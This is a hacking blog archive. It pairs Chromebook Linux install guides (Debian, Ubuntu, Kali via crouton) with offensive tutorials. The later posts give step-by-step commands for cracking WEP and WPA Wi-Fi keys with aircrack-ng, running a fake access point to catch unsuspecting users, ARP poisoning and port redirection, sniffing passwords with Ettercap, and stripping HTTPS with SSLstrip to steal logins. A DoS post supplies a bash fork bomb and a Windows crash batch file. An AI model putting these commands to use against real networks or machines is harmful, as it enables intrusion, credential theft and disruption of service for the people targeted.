Affichage des articles dont le libellé est Password Cracking. Afficher tous les articles
Affichage des articles dont le libellé est Password Cracking. Afficher tous les articles

How to Install Debian on chromebook with crouton

What is Debian Linux and why do I want it on my Chromebook!


Debian on Chromebook
Debian is a Linux distribution comprised of open source software that is the bases of a large variety of Linux distribution. Kali, Ubuntu & Mint are a few examples of linux distors built on-top of Debian. Debian is also widely accepted as the solid linux.

How do I install it?

To install Debian on Chromebook you must be in developer mode. please reference the following page to learn how to enter  developer mode.
Once in developer mode you need to download crouton.
Open the crosh terminal (CTLR+ALT+T).
enter shell mode by typing shell / enter.
from shell type sh ~/Downloads/crouton -r debian -t kde -n debian
-r is the release. We need to set this to debian. If the -r switch is not passed Ubuntu will be installed.
-t is the target command that specifies what GUI interface you want installed by default. Gnome is the default gui for kali however it does not work on my HP Chromebook 14″. KDE works and is a  good alternative to Gnome.
-n is the name parameter. We define the -n switch here so we can give the chroot a custom name of debian.
As of this article I do not recommend gnome for the target gui on the HP Chromebook 14.
The process will run and install debian on the system.
at some point you will be prompted for a user name and password.

How do I start Debian on chromebook?

Once the install is complete from the shell type sudo startdebian. (This is also known as chroot)
this will start the Debian instance.
To transition seamlessly from chromeos and unity press CTRL+ALT+<=(backward) for chromeos and CTRL+ALT+=>(forward).
if the machine is rebooted you will have to enter shell and type sudo startdebian again.
it is possible to install multiple chroots.

Want to know more?



~ dimanche 29 mars 2015 0 commentaires

Turn Chromebook on Developer Mode

How do I turn on developer mode on a Chromebook?
Warning: Entering developer mode will wipe all data off of the SSD.

on a HP Chromebook  14″ With the machine booted Press ESC+REFRESH BUTTON + POWER at the same time.



The chromebook will reboot and you will be met with a message stating “ChromeOS is missing or not found”. Press CTL+D on the keyboard to skip this message. You will then be prompted by another message stating “To turn OS Verification off press enter”. Press ENTER. Your chromebook will then reboot, and prompt with a screen stating “OS Verification is off”. Press CTL+D to skip this message. You will then be prompted with a message “Your system is transitioning into developer mode. Local data has been cleared. Modifications you make to the system are not supported by Google, may cause hardware damage and may void your warranty. To cancel, turn your computer off now”. A timer is set in the top left hand corner of the screen to 30 seconds. Wait for the timer to reach 0. Once the timer has reached 0 you will be prompted with a new message “Preparing system for developer mode. This may take awhile. Do not turn your computer off until it restarts”. Wait for this process to complete; Once the process has complete the chromebook will reboot and you will be met with the message again “OS Verification is off”. Press CTL+D to skip this screen and boot the machine.


Chromebook OS Verification

Note: If you wish to restore your chromebook back to factory and re-wipe your data, reboot your chromebook and press space bar when the following message appears “OS Verification is off. Press space to re-enable”. Pressing space bar will reset your chromebook back to factory with OS verification back on.

Once the chromebook is in developer mode you will be able to take full advantage of the shell command. The shell command is access from the crosh terminal window.

To access the crosh terminal windows press CTLR+ALT+T on your keyboard.

Once open type shell and press enter. This puts you into a shell capable of some basic linux commands. This mode is also used for loading linux with the crouton script.


~ 0 commentaires

Install Ubuntu on a Chromebook

What is Ubuntu and why do I want it on my Chromebook!

Ubuntu is a linux distribution that is widely accepted as the most commonly installed linux distro. It is used as a alternative, althought not a direct replacement, for windows or Mac. Ubuntu extends the functionality of the chromebook, making the chromebook viable for developers, hackers, techies, and the common user.

Why not just install windows?
The underlying architecture from chrome os is strongly based on linux and Ubuntu. Although Im sure it is possible to install windows on a chromebook you would have the dual boot/chrooted awesomeness of both chromeOS and Ubuntu.

How do I install Ubuntu on a Chromebook?
To install Ubuntu on a chromebook it must be in developer mode. please reference the following page to learn how to enter  developer mode.

Once in developer mode you need to download crouton.

Open the crosh terminal (CTLR+ALT+T).

enter shell mode by typing shell / enter.

from shell type sh ~/Downloads/crouton -t unity

12.04 ubuntu is installed by default. You can switch the release of ubuntu by using the -r command.

-t is the target command that specifies what GUI interface you want installed by default. Unity is recommended by me out of the box for Ubuntu for two reasons.

 it works
 it is the default GUI installed when doing a fresh install of Ubuntu.
as of this article I do not recommend gnome for the target gui on the HP Chromebook 14.

The process will run and install ubuntu on the system.

at some point you will be prompted for a user name and password.

How do I start Ubuntu on a Chromebook?
Once the install is complete from the shell type sudo startunity. (This is also known as chroot)

this will start the unity instance.

To transition seamlessly from chromeos and unity press CTRL+ALT+<=(backward) for chromeos and CTRL+ALT+=>(forward).

if the machine is rebooted you will have to enter shell and type sudo startunity again.

~ 0 commentaires

How to install Kali Linux on HP Chromebook 14

Kali Linux
What is Kali Linux and why do I want it on my Chromebook!

Kali is a Linux distribution that is widely accepted as the Linux distribution for penetration testers, security experts and hackers. It is the successor to Backtrack Linux. Kali allows the user to install packages such as aircrack-ng and reaver to collect data on and hack into wireless networks.


How Do I Install Kali Linux on a Chromebook?
To install Kali on a Chromebook with crouton, the Chromebook must be in developer mode. please reference the following page to learn how to enter  developer mode.

Once in developer mode you need to download a special forked version of crouton. Kali has not yet been pulled into the master crouton project on github.

UPDATE: Kali has been added into the main crouton tree. You can download it here crouton.

Open the crosh terminal (CTLR+ALT+T).

enter shell mode by typing shell / enter.

from shell type sudo sh ~/Downloads/crouton -r kali -t kde -n kali

-r is the release. We need to set this to Kali. If the -r switch is not passed Ubuntu will be installed.

-t is the target command that specifies what GUI interface you want installed by default. Gnome is the default unity for kali however it does not work on my HP Chromebook 14″. KDE works and is a  good alternative to Gnome.

-n is the name parameter. We define the -n switch here so we can give the chroot a custom name of kali.

As of this article I do not recommend gnome for the target gui on the HP Chromebook 14.

The process will run and install kali on the system.

at some point you will be prompted for a user name and password.

How Do I Run Kali Linux on a Chromebook?
Once the install is complete from the shell type sudo startkde.

this will start the Kali instance.

To transition seamlessly from chromeos and unity press CTRL+ALT+<=(backward) for chromeos and CTRL+ALT+=>(forward).

if the machine is rebooted you will have to enter shell and type sudo startkde again.

Endless Possibilities:
it is possible to install multiple chroots.

~ 0 commentaires

Hacking Accounts Using SSLstrip and Arpspoof! With Kali Linux

***THIS TUTORIAL IS INTENDED FOR EDUCATIONAL PURPOSES ONLY! THE AUTHOR OF THIS VIDEO AND BLOG IS NOT RESPONSIBLE FOR YOUR IRRESPONSIBLE ACTIONS AFTER WATCHING THIS TUTORIAL. PRISON RAPE IS VERY REAL***
Arpspoofing and SSLstripping
Arpspoofing and SSLstripping
Hello and welcome back for another round of penetration testing and network security. As promised, I have come back to further your understanding of Kali Linux and Network Security. Below is a video that I recklessly put together that demonstrates an attack known as a Man-In-The-Middle attack. This attack is preferred to others because the victim is oblivious to the attack taking place where in other similar attacks, denial of service interruptions or slow service gives the attacker away.
Anyone that has fixes for better file conversions, let me know.
A simple explanation on how this works is presented in the video. I find it important to share these things because working in a Linux box is so satisfying on some twisted level. The information that is available to learn is endless for those of a curious mind. Also, I believe that people should be aware of the shear simplicity in which everything private about them can be stolen and exploited.
Before you will be able to perform this exercise, you will need Kali Linux and you will also want to read how to install it. Also, feel free to take a look at how to crack WPA2/WPA.
Kali Linux
This attack uses two methods to obtain a victim’s username and password to any email account (Yahoo, Google, MSN, etc), Facebook or other account where a login authentication is required. This is done by using arp poisoning to spoof (or fake) mac addresses of wireless routers and victim PCs. The attacker MUST be on the same network as the victims. With arpspoofing, the router believes that it is directly communicating with the victim’s computer and the victim’s computer believes it is directly communicating with the router when in fact, they each are communicating directly to the attacker “in the middle” of the connection.

The SSLstrip feature that we are using in this attack is what makes this a preferred method for stealing credentials. SSLstrip removes the security and encryption from web traffic so that the connection lacks encryption and defeats the Secure Socket Layer (SSL) protocol being implemented between router and device. Once the packet is captured, the information can then be read at an understandable human level rather than as confusing encryption codex. SSLstrip allows “https://www…” to become “http://www…”. This is a very bad thing because that means that your log-in to Facebook was never encrypted and now you’ve just shared your password to some weirdo at a keyboard… Hope you deleted all of those messages to your mistress.

So this is it, check out the video. Even if you are not into this kind of thing. See how easily this could happen to you or someone you know. Stay mindful on the net and always protect yourself.
Stay tuned for the ultimate hack…
…Completely Own Any Windows Machine!

Stay Safe and Hap’y Hackin’

~ jeudi 7 août 2014 0 commentaires

Denial of Service Attack : EXPLAINED FOR BEGINNERS AND DUMMIES

Just like most other things associated with hacking, a denial of service attack is not everyone's cup of tea. It, however, can be understood if explained properly. In this tutorial, I'll try to give you a big picture of denial of service attacks, before I start using geeky terms like packets and all that. We'll start at the easiest point.

What effect does a denial of service attack have

Wireless hacking usually gives you the password of a wireless network. A man in the middle attack lets you spy on network traffic. Exploiting a vulnerability and sending a payload gives you access and control over the target machine. What exactly does a Denial of Service (DOS) attack do? Basically, it robs the legitimate owner of a resource from the right to use it. I mean if I successfully perform a DOS on your machine, you won't be able to use it anymore. In the modern scenario, it is used to disrupt online services. Many hacktivist groups (internet activists who use hacking as a form of active resistance - a name worth mentioning here is Anonymous) do a Distributed Denial of service attack on government and private websites to make them listen to the people's opinion (the legitimacy of this method of dictating your opinion has been a topic of debate, and a lot of hactivists had to suffer jailtime for participating in DDOS). So basically it's just what its name suggests, Denial Of Service.

Basic Concept

It uses the fact that while a service can be more than sufficient to cater to the demands of the desired users, a drastic increase in unwelcome users can make the service go down. Most of us use the words like "This website was down the other day" without any idea what it actually means. Well now you do. To give you a good idea of what is happening, I'll take the example from the movie "We Are Legion".

Scenario One : Multiplayer online game

Now consider you are playing an online multi-player game. There are millions of other people who also play this game. Now there's a pool in the game that everyone likes to visit. Now you and your friends know that they have the power of numbers. There are a lot of you, and together you decide to make identical characters in the game. And then all of you go and block the access to the pool. You just carried out a denial of service attack. The users of the game have now been deprived of a service which they had obtained the right to use when they signed up for the game. This is just what the guys at 4chan (birthplace and residence of Anonymous) did a long time ago. This is the kind of thing that gives you a very basic idea what a denial of service attack can be.
Denial of service in a game
They made a Swastika and blocked access to the pool

Scenario 2 : Bus stop

Now assume that due to some reason, you want to disrupt the bus service of your city and stop the people from using the service. To stop the legitimate people from utilizing this service, you can call your friends to unnecessarily use it. Basically you can invite millions of friends to come and crowd around all the bus stops and take the buses without any purpose. Practically it is not feasible since you don't have millions of friends, and they are definitely not wasting their time and money riding aimlessly from one place to another.

So while this may seem impossible in the real world, in the virtual world, you can cause as much load as a thousand (or even a million) users alone at the click of a button. There are many tools out there for this purpose, however, you are not recommended to use them as a DOS on someone else is illegal, and easy to detect (Knock, knock. It's the police). We will, come back to this later, and do a DOS on our own computer.

How denial of service attacks are carried out

Basically, when you visit a website, you send them a request to deliver their content to you. What you send is a packet. Basically, it take more than just one packet, you need a lot of them. But still, the bandwidth that you consume in requesting the server to send you some data is very little. In return, the data they send you is huge. This takes up server resources, for which they pay for. A legitimate view can easily earn more than the server costs on account of advertisements, etc. So, companies buy server that can provide enough data transfer for its regular users. However, if the number of users suddenly increases, the server gives up. It goes down. And since the company knows it under DOS, it just turns off the server, so that it does not have to waste its monetary resources on a DOS, and wait till the DOS stops. Now with the modern computers and bandwidth, we alone can easily pretend to be a thousand or even more users at once. While this is not good for the server, it is not something that can make it succumb (your computer is not the only thing that gets better with time, the servers do too). However, if a lot of people like you do a DOS attack, it becomes a distributed denial of service attack. This can easily be fatal for a server. It's just like you go to a page, and start refreshing it very fast, maybe a thousand times every second. And you are not the only one. There are thousand others that are doing the same thing. So basically you guys are equivalent to more than a million users using the site simultaneously, and that's not something the server can take. Sites like Google and Facebook have stronger servers, and algorithms that can easily identify a DOS and block the traffic from that IP. But it's not just the websites that get better, and the black hat hackers too are improving every day. This leaves a huge scope for understanding DOS attacks and becoming an asset to one of these sides ( the good, the bad and the ugly). 

A Live DOS on your Kali Machine

If you have Kali linux (The hackers OS- the OS of choice if you use this blog) the here's a small exercise for you. 
We are going to execute a command in the Kali linux terminal that will cripple the operating system and make it hand. It will most probably work on other linux distributions too.
Warning : This code will freeze Kali linux, and most probably it will not recover from the shock. You'll lose any unsaved data. You will have to restart the machine the hard way (turn of the virtual machine directly or cut the power supply if its a real machine). Just copy paste the code and your computer is gone.
:(){ :|:& };:

The machine froze right after I pressed enter. I had to power it off from the Vmware interface.
What basically happened is that the one line command asked the operating system to keep opening process very fast for an infinite period of time. It just gave up.
Here's something for the Windows Users

Crashing Windows Using Batch file

Open a notepad. Put the following code in it-
:1
Start
goto 1
Save the file as name.bat
Bat here is batch file extension. Run it. Game over.
It basically executes the second line, and the third line makes it go over to the first, execute the second, and then over to first again, execute the second..... infinitely. So again, denial of service. All the processing power is used by a useless command, while you, the legitimate user, can't do anything.

That's it for this tutorial, we'll discuss the technical details of a practical denial of service in a later tutorial.

~ 0 commentaires

How to use Aircrack-ng Suite in Kali Linux Tutorial

In this article, we will learn about the various wireless attacks. These days, wireless networks are everywhere. With users being on the go like never before, having to remain stationary because of having to plug into an Ethernet cable to gain Internet access is not feasible. For this convenience, there is a price to be paid; wireless connections are not as secure as Ethernet connections. In this article, we will explore various methods for manipulating radio network traffic including mobile phones and wireless networks.

Wireless network WEP cracking

Wireless Equivalent Privacy, or WEP as it's commonly referred to, has been around since 1999 and is an older security standard that was used to secure wireless networks. In 2003, WEP was replaced by WPA and later by WPA2. Due to having more secure protocols available, WEP encryption is rarely used. As a matter of fact, it is highly recommended that you never use WEP encryption to secure your network! There are many known ways to exploit WEP encryption and we will explore one of those ways in this recipe.
In this recipe, we will use the AirCrack suite to crack a WEP key. The AirCrack suite (or AirCrack NG as it's commonly referred to) is a WEP and WPA key cracking program that captures network packets, analyzes them, and uses this data to crack the WEP key.

Getting ready

In order to perform the tasks of this recipe, experience with the Kali terminal window is required. A supported wireless card configured for packet injection will also be required. In case of a wireless card, packet injection involves sending a packet, or injecting it onto an already established connection between two parties. Please ensure your wireless card allows for packet injection as this is not something that all wireless cards support.

How to do it...

Let's begin the process of using AirCrack to crack a network session secured by WEP.
  1. Open a terminal window and bring up a list of wireless network interfaces:

    airmon-ng

  2. Under the interface column, select one of your interfaces. In this case, we will use wlan0. If you have a different interface, such as mon0, please substitute it at every location where wlan0 is mentioned.
  3. Next, we need to stop the wlan0 interface and take it down so that we can change our MAC address in the next step.

    airmon-ng stop
    ifconfig wlan0 down

  4. Next, we need to change the MAC address of our interface. Since the MAC address of your machine identifies you on any network, changing the identity of our machine allows us to keep our true MAC address hidden. In this case, we will use 00:11:22:33:44:55.

    macchanger --mac 00:11:22:33:44:55 wlan0

  5. Now we need to restart airmon-ng.

    airmon-ng start wlan0

  6. Next, we will use airodump to locate the available wireless networks nearby.

    airodump-ng wlan0

  7. A listing of available networks will begin to appear. Once you find the one you want to attack, press Ctrl + C to stop the search. Highlight the MAC address in the BSSID column, right click your mouse, and select copy. Also, make note of the channel that the network is transmitting its signal upon. You will find this information in the Channel column. In this case, the channel is 10.
  8. Now we run airodump and copy the information for the selected BSSID to a file. We will utilize the following options:
    • –c allows us to select our channel. In this case, we use 10.
    • –w allows us to select the name of our file. In this case, we have chosen wirelessattack.
    • –bssid allows us to select our BSSID. In this case, we will paste 09:AC:90:AB:78 from the clipboard.

    airodump-ng –c 10 –w wirelessattack --bssid 09:AC:90:AB:78 wlan0

  9. A new terminal window will open displaying the output from the previous command.Leave this window open.
  10. Open another terminal window; to attempt to make an association, we will run aireplay, which has the following syntax: aireplay-ng -1 0 –a [BSSID] –h [our chosen MAC address] –e [ESSID] [Interface]

    aireplay-ng -1 0 -a 09:AC:90:AB:78 –h 00:11:22:33:44:55 –e backtrack wlan0

  11. Next, we send some traffic to the router so that we have some data to capture. We use aireplay again in the following format: aireplay-ng -3 –b [BSSID] – h [Our chosen MAC address] [Interface]

    aireplay-ng -3 –b 09:AC:90:AB:78 –h 00:11:22:33:44:55 wlan0

  12. Your screen will begin to fill with traffic. Let this process run for a minute or two until we have information to run the crack.
  13. Finally, we run AirCrack to crack the WEP key.

    aircrack-ng –b 09:AC:90:AB:78 wirelessattack.cap

    That's it!

How it works...

In this recipe, we used the AirCrack suite to crack the WEP key of a wireless network. AirCrack is one of the most popular programs for cracking WEP. AirCrack works by gathering packets from a wireless connection over WEP and then mathematically analyzing the data to crack the WEP encrypted key. We began the recipe by starting AirCrack and selecting our desired interface. Next, we changed our MAC address which allowed us to change our identity on the network and then searched for available wireless networks to attack using airodump. Once we found the network we wanted to attack, we used aireplay to associate our machine with the MAC address of the wireless device we were attacking. We concluded by gathering some traffic and then brute-forced the generated CAP file in order to get the wireless password.

Wireless network WPA/WPA2 cracking

WiFi Protected Access, or WPA as it's commonly referred to, has been around since 2003 and was created to secure wireless networks and replace the outdated previous standard, WEP encryption. In 2003, WEP was replaced by WPA and later by WPA2. Due to having more secure protocols available, WEP encryption is rarely used.
In this recipe, we will use the AirCrack suite to crack a WPA key. The AirCrack suite (or AirCrack NG as it's commonly referred) is a WEP and WPA key cracking program that captures network packets, analyzes them, and uses this data to crack the WPA key.

Getting ready

In order to perform the tasks of this recipe, experience with the Kali Linux terminal windows is required. A supported wireless card configured for packet injection will also be required. In the case of a wireless card, packet injection involves sending a packet, or injecting it onto an already established connection between two parties.

How to do it...

Let's begin the process of using AirCrack to crack a network session secured by WPA.
  1. Open a terminal window and bring up a list of wireless network interfaces.

    airmon-ng

  2. Under the interface column, select one of your interfaces. In this case, we will use wlan0. If you have a different interface, such as mon0, please substitute it at every location where wlan0 is mentioned.
  3. Next, we need to stop the wlan0 interface and take it down.

    airmon-ng stop wlan0
    ifconfig wlan0 down

  4. Next, we need to change the MAC address of our interface. In this case, we will use 00:11:22:33:44:55.

    macchanger -–mac 00:11:22:33:44:55 wlan0

  5. Now we need to restart airmon-ng.

    airmon-ng start wlan0

  6. Next, we will use airodump to locate the available wireless networks nearby.

    airodump-ng wlan0

  7. A listing of available networks will begin to appear. Once you find the one you want to attack, press Ctrl + C to stop the search. Highlight the MAC address in the BSSID column, right-click, and select copy. Also, make note of the channel that the network is transmitting its signal upon. You will find this information in the Channel column. In this case, the channel is 10.
  8. Now we run airodump and copy the information for the selected BSSID to a file. We will utilize the following options:
    • –c allows us to select our channel. In this case, we use 10.
    • –w allows us to select the name of our file. In this case, we have chosen wirelessattack.
    • –bssid allows us to select our BSSID. In this case, we will paste 09:AC:90:AB:78 from the clipboard.

    airodump-ng –c 10 –w wirelessattack --bssid 09:AC:90:AB:78 wlan0

  9. A new terminal window will open displaying the output from the previous command.Leave this window open.
  10. Open another terminal window; to attempt to make an association, we will run aireplay, which has the following syntax: aireplay-ng –dauth 1 –a [BSSID] –c [our chosen MAC address] [Interface]. This process may take a few moments.

    Aireplay-ng --deauth 1 –a 09:AC:90:AB:78 –c 00:11:22:33:44:55 wlan0

  11. Finally, we run AirCrack to crack the WPA key. The –w option allows us to specify the location of our wordlist. We will use the .cap file that we named earlier. In this case,the file's name iswirelessattack.cap.

    Aircrack-ng –w ./wordlist.lst wirelessattack.cap

    That's it!

How it works...

In this recipe, we used the AirCrack suite to crack the WPA key of a wireless network. AirCrack is one of the most popular programs for cracking WPA. AirCrack works by gathering packets from a wireless connection over WPA and then brute-forcing passwords against the gathered data until a successful handshake is established. We began the recipe by starting AirCrack and selecting our desired interface. Next, we changed our MAC address which allowed us to change our identity on the network and then searched for available wireless networks to attack using airodump . Once we found the network we wanted to attack, we used aireplay to associate our machine with the MAC address of the wireless device we were attacking. We concluded by gathering some traffic and then brute forced the generated CAP file in order to get the wireless password.

Automating wireless network cracking

In this recipe we will use Gerix to automate a wireless network attack. Gerix is an automated GUI for AirCrack. Gerix comes installed by default on Kali Linux and will speed up your wireless network cracking efforts.

Getting ready

A supported wireless card configured for packet injection will be required to complete this recipe. In the case of a wireless card, packet injection involves sending a packet, or injecting it, onto an already established connection between two parties.

How to do it...

Let's begin the process of performing an automated wireless network crack with Gerix by downloading it.
  1. Using wget, navigate to the following website to download Gerix.

  2. Once the file has been downloaded, we now need to extract the data from the RAR file.

    unrar x gerix-wifi-cracker-master.rar

  3. Now, to keep things consistent, let's move the Gerix folder to the /usr/share directory with the other penetration testing tools.

    mv gerix-wifi-cracker-master /usr/share/gerix-wifi-cracker

  4. Let's navigate to the directory where Gerix is located.

    cd /usr/share/gerix-wifi-cracker

  5. To begin using Gerix, we issue the following command:

    python gerix.py

  6. Click on the Configuration tab.
  7. On the Configuration tab, select your wireless interface.
  8. Click on the Enable/Disable Monitor Mode button.
  9. Once Monitor mode has been enabled successfully, under Select Target Network, click on theRescan Networks button.
  10. The list of targeted networks will begin to fill. Select a wireless network to target. In this case, we select a WEP encrypted network.
  11. Click on the WEP tab.
  12. Under Functionalities, click on the Start Sniffing and Logging button.
  13. Click on the subtab WEP Attacks (No Client).
  14. Click on the Start false access point authentication on victim button.
  15. Click on the Start the ChopChop attack button.
  16. In the terminal window that opens, answer Y to the Use this packet question.
  17. Once completed, copy the .cap file generated.
  18. Click on the Create the ARP packet to be injected on the victim access point button.
  19. Click on the Inject the created packet on victim access point button.
  20. In the terminal window that opens, answer Y to the Use this packet question.
  21. Once you have gathered approximately 20,000 packets, click on the Cracking tab.
  22. Click on the Aircrack-ng – Decrypt WEP Password button.
    That's it!

How it works...

In this recipe, we used Gerix to automate a crack on a wireless network in order to obtain the WEP key. We began the recipe by launching Gerix and enabling the monitoring mode interface. Next, we selected our victim from a list of attack targets provided by Gerix. After we started sniffing the network traffic, we then used Chop Chop to generate the CAP file. We concluded the recipe by gathering 20,000 packets and brute-forced the CAP file with AirCrack.
With Gerix, we were able to automate the steps to crack a WEP key without having to manually type commands in a terminal window. This is an excellent way to quickly and efficiently break into a WEP secured network.

Accessing clients using a fake AP

In this recipe, we will use Gerix to create and set up a fake access point (AP). Setting up a fake access point gives us the ability to gather information on each of the computers that access it. People in this day and age will often sacrifice security for convenience. Connecting to an open wireless access point to send a quick e-mail or to quickly log into a social network is rather convenient. Gerix is an automated GUI for AirCrack.

Getting ready

A supported wireless card configured for packet injection will be required to complete this recipe. In the case of a wireless card, packet injection involves sending a packet, or injecting it onto an already established connection between two parties.

How to do it...

Let's begin the process of creating a fake AP with Gerix.
  1. Let's navigate to the directory where Gerix is located:

    cd /usr/share/gerix-wifi-cracker

  2. To begin using Gerix, we issue the following command:

    python gerix.py

  3. Click on the Configuration tab.
  4. On the Configuration tab, select your wireless interface.
  5. Click on the Enable/Disable Monitor Mode button.
  6. Once Monitor mode has been enabled successfully, under Select Target Network, press the Rescan Networks button.
  7. The list of targeted networks will begin to fill. Select a wireless network to target. In this case, we select a WEP encrypted network.
  8. Click on the Fake AP tab.
  9. Change the Access Point ESSID from honeypot to something less suspicious. In this case, we are going to use personalnetwork.
  10. We will use the defaults on each of the other options. To start the fake access point,click on the Start Face Access Point button.
    That's it!

How it works...

In this recipe, we used Gerix to create a fake AP. Creating a fake AP is an excellent way of collecting information from unsuspecting users. The reason fake access points are a great tool to use is that to your victim, they appear to be a legitimate access point, thus making it trusted by the user. Using Gerix, we were able to automate the creation of setting up a fake access point in a few short clicks.
URL traffic manipulation.
In this recipe, we will perform a URL traffic manipulation attack. URL traffic manipulation is very similar to a Man In The Middle attack, in that we will route traffic destined for the Internet to pass through our machine first. We will perform this attack through ARP poisoning. ARP poisoning is a technique that allows you to send spoofed ARP messages to a victim on the local network. We will execute this recipe using arpspoof.

How to do it...

Let's begin the process of URL traffic manipulation.
  1. Open a terminal window and execute the following command to configure IP tablesthat will allow our machine to route traffic:

    sudo echo 1 >> /proc/sys/net/ipv4/ip_forward

  2. Next, we launch arpspoof to poison traffic going from our victim's machine to the default gateway. In this example, we will use a Windows 7 machine on my local network with an address of 192.168.10.115. Arpspoof has a couple of options that we will select and they include:
    • –i allows us to select our target interface. In this case, we will select wlan0.
    • –t allows us to specify our target.
    The syntax for completing this command is arpspoof –i [interface] –t [target IP address] [destination IP address].

    sudo arpspoof –i wlan0 -t 192.168.10.115 192.168.10.1

  3. Next, we will execute another arpspoof command that will take traffic from the destination in the previous command (which was the default gateway) and route that traffic back to our Kali machine. In this example our IP address is 192.168.10.110.

    sudo arpspoof –i wlan0 -t 192.168.10.1 192.168.10.110

    That's it!

How it works...

In this recipe, we used ARP poisoning with arpspoof to manipulate traffic on our victim's machine to ultimately route back through our Kali Linux machine. Once traffic has been rerouted, there are other attacks that you can run against the victim, including recording their keystrokes, following websites they have visited, and much more!

Port redirection

In this recipe, we will use Kali to perform port redirection, also known as port forwarding or port mapping. Port redirection involves the process of accepting a packet destined for one port, say port 80, and redirecting its traffic to a different port, such as 8080. The benefits of being able to perform this type of attack are endless because with it you can redirect secure ports to unsecure ports, redirect traffic to a specific port on a specific device, and so on.

How to do it...

Let's begin the process of port redirection/forwarding.
  1. Open a terminal window and execute the following command to configure IP tables that will allow our machine to route traffic:

    Sudo echo 1 >> /proc/sys/net/ipv4/ip_forward

  2. Next, we launch arpspoof to poison traffic going from our victim's machine to the default gateway. In this example, we will use a Windows 7 machine on my local network with an address of 192.168.10.115. Arpspoof has a couple of options that we will select and they include:
    • –i allows us to select our target interface. In this case, we will select wlan0.
    The syntax for completing this command is arpspoof –i [interface] [destination IP address].

    sudo arpspoof –i wlan0 192.168.10.1

  3. Next, we will execute another arpspoof command that will take traffic from our destination in the previous command (which was the default gateway) and route that traffic back to our Kali Linux machine. In this example our IP address is 192.168.10.110.

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
    8080

    That's it!

How it works...

In this recipe, we used ARP poisoning with arpspoof and IPTables routing to manipulate traffic on our network destined for port 80 to be redirected to port 8080. The benefits of being able to perform this type of attack are endless because with it you can redirect secure ports to unsecure ports, redirect traffic to a specific port on a specific device, and so on.

Sniffing network traffic

In this recipe, we will examine the process of sniffing network traffic. Sniffing network traffic involves the process of intercepting network packets, analyzing it, and then decoding the traffic (if necessary) displaying the information contained within the packet. Sniffing traffic is particularly useful in gathering information from a target, because depending on the websites visited, you will be able to see the URLs visited, usernames, passwords, and other details that you can use against them.
We will use Ettercap for this recipe, but you could also use Wireshark. For demonstration purposes, Ettercap is a lot easier to understand and apply sniffing principles. Once an understanding of the sniffing process is established, Wireshark can be utilized to provide more detailed analysis.

Getting ready

A wireless card configured for packet injection is required to complete this recipe although you can perform the same steps over a wired network. In case of a wireless card, packet injection involves sending a packet, or injecting it, onto an already established connection between two parties.

How to do it...

Let's begin the process of sniffing network traffic by launching Ettercap.
  1. Open a terminal window and start Ettercap. Using the –G option, launch the GUI:

    ettercap –G

  2. We begin the process by turning on Unified sniffing. You can press Shift + U or use the menu and navigate to Sniff | Unified sniffing.
  3. Select the network interface. In case of using a MITM attack, we should select our wireless interface.
  4. Next, we turn on Scan for hosts. This can be accomplished by pressing Ctrl + S or use the menu and navigate to Hosts | Scan for hosts.
  5. Next, we bring up the Host List. You can either press H or use the menu and navigate to Hosts Host List.|
  6. We next need to select and set our targets. In our case, we will select 192.168.10.111 as our Target 1 by highlighting its IP address and pressing the Add To Target 1 button.
  7. Now we are able to allow Ettercap to begin sniffing. You can either press Ctrl + W or use the menu and navigate to Start | Start sniffing.
  8. Finally, we begin the ARP poisoning process. From the menu, navigate to Mitm | Arp poisoning....
  9. In the window that appears, check the optional parameter for Sniff remote connections.
  10. Depending on the network traffic, we will begin to see information.
  11. Once we have found what we are looking for (usernames and passwords). We will turn off Ettercap. You can do this by either pressing Ctrl + E or by using the menu and navigating to Start | Stop sniffing.
  12. Now we need to turn off ARP poisoning and return the network to normal.

How it works...

This recipe included an MITM attack that works by using ARP packet poisoning to eavesdrop on wireless communications transmitted by a user. We began the recipe by launching Ettercap and scanning for our hosts. We then began the process of ARP poisoning the network. ARP poisoning is a technique that allows you to send spoofed ARP messages to a victim on the local network.
We concluded the recipe by starting the packet sniffer and demonstrated a way to stop ARP poisoning and return the network back to normal. This step is key in the detection process as it allows you to not leave the network down once you have stopped poisoning the network.
This process is useful for gathering information as it's being transmitted across the wireless network. Depending on the traffic, you will be able to gather usernames, passwords, bank account details, and other information your targets send across the network. This information can also be used as a springboard for larger attacks.

Summary

Thus we have learned about the wireless attacks in Kali Linux.

~ lundi 26 mai 2014 0 commentaires